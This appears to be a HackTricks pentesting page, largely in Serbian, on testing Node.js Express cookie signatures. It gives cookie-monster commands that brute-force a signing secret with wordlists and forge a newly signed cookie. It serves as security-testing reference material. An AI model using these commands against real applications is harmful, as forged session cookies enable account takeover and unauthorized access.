hacktricks/src/network-services-pentesting/pentesting-web/nodejs-express.md

NodeJS Express

{{#include ../../banners/hacktricks-training.md}}

Cookie Signature

Alat https://github.com/DigitalInterruption/cookie-monster je alat za automatizaciju testiranja i ponovnog potpisivanja Express.js kolačića.

Jedan kolačić sa specifičnim imenom

cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -n session

Prilagođena lista reči

cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -w custom.lst

Testirajte više kolačića koristeći batch režim

cookie-monster -b -f cookies.json

Testirajte više kolačića koristeći batch mode sa prilagođenom rečnikom

cookie-monster -b -f cookies.json -w custom.lst

Encode and sign a new cookie

Ako znate tajnu, možete potpisati kolačić.

cookie-monster -e -f new_cookie.json -k secret

{{#include ../../banners/hacktricks-training.md}}